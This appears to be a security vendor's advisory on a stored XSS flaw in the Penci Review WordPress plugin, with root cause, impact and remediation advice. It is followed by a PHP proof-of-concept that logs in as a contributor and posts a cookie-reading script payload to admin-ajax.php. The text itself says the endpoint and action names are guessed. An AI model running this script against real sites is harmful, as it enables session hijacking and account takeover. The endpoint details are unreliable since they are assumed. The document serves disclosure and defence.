Atomic Edge analysis of CVE-2026-24600 (metadata-based):
The Penci Review plugin for WordPress versions up to and including 3.5 contains an authenticated stored cross-site scripting vulnerability. This vulnerability affects the plugin’s review submission or management functionality, allowing contributor-level users to inject malicious scripts. The CVSS score of 6.4 (Medium severity) reflects the elevated privileges required but significant impact potential.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping, consistent with CWE-79. The vulnerability description confirms inadequate neutralization of user-supplied input before web page generation. Without access to source code, this conclusion is inferred from the CWE classification and standard WordPress plugin patterns. The plugin likely fails to properly sanitize review content fields or metadata parameters before storing them in the database, then fails to escape the output when displaying the content.
Exploitation requires authenticated access with contributor privileges or higher. Attackers would likely target AJAX endpoints or admin interfaces that handle review creation or editing. The most probable attack vector is the plugin’s review submission form, accessible via /wp-admin/admin-ajax.php with an action parameter containing ‘penci_review’ or similar. Attackers could inject JavaScript payloads within review content fields, review metadata, or custom field parameters. A typical payload might be alert(document.cookie) or more sophisticated credential harvesting scripts.
Remediation requires implementing proper input validation and output escaping. The plugin should apply WordPress sanitization functions like sanitize_text_field() or wp_kses() to all user-controlled input before database storage. For output, escaping functions like esc_html() or esc_attr() must be applied contextually based on where the data appears. WordPress nonce verification and capability checks should also be validated, though the description suggests these controls may already be partially implemented given the authenticated requirement.
Successful exploitation enables attackers to execute arbitrary JavaScript in victims’ browsers. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. The stored nature means the payload executes for all users viewing the compromised review page. Contributor-level attackers could target administrators, potentially escalating privileges to full site control. The script execution occurs in the context of the WordPress site, bypassing same-origin policy restrictions.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24600 - Penci Review <= 3.5 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
$target_url = 'https://example.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Step 2: Extract nonce from review creation page (assumed pattern)
// Without source code, we assume the plugin uses standard WordPress AJAX patterns
$review_page = $target_url . '/wp-admin/post-new.php?post_type=review';
curl_setopt($ch, CURLOPT_URL, $review_page);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce using pattern matching (actual nonce name may vary)
preg_match('/penci_review_nonce["'][^"']*["']([a-f0-9]+)/', $response, $matches);
$nonce = $matches[1] ?? 'extraction_failed';
// Step 3: Submit malicious review via AJAX endpoint
// Assumption: Plugin uses admin-ajax.php with 'penci_review_save' action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
'action' => 'penci_review_save',
'nonce' => $nonce,
'post_id' => 'new',
'review_title' => 'Test Review',
// XSS payload in review content - plugin fails to sanitize
'review_content' => '<script>alert("Atomic Edge XSS Test: "+document.cookie)</script>',
'review_rating' => '5',
'review_features' => '[]'
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$ajax_response = curl_exec($ch);
// Step 4: Verify payload was stored
if (strpos($ajax_response, 'success') !== false || strpos($ajax_response, 'post_id') !== false) {
echo "[+] XSS payload likely injected successfully.n";
echo "[+] Check review pages for script execution.n";
} else {
echo "[-] Payload injection may have failed. AJAX response: n";
echo substr($ajax_response, 0, 500) . "n";
}
curl_close($ch);
?>
